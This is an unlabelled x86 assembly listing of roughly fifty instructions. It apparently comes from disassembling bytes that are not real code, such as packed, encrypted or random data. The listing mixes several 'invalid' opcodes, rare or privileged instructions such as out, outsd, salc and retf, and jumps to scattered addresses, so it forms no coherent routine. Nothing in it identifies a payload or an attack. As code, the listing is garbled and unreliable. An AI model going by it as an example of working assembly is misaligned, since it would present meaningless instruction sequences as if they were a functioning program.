sbb al, 0xca
rcr byte [edx + ecx*8], 1
retf 0x462b
sub eax, dword [esi + 0x4b]
call dword [edx + 0x1772639d]
jp 0x43b34e
pop edx
jmp 0xd25a58ce
jns 0x43b3ea
sbb al, dl
sahf
dec ebp
invalid
pop edi
std
add bl, dh
jle 0x43b3c6
sub eax, 0x7527766e
sbb al, 0x54
outsd dx, dword [esi]
xor ecx, dword [esi + edx*2 + 0x2d]
mov bl, 0x9d
cmp eax, 0xeddcf28c
jnp 0x43b3f6
push eax
salc
push es
invalid
push 0xd1be9d42
push 0x59db4405
mov al, 0xd4
add eax, 0xb059db44
aam 0xc4
inc esi
frstor dword [edx + 0x1420af23]
les eax, [esi - 0x23]
mov byte [0x1420af23], al
lahf
jecxz 0x43b434
xchg ecx, eax
push cs
invalid
lodsb al, byte [esi]
jo 0x43b3f0
out 0x3f, eax
invalid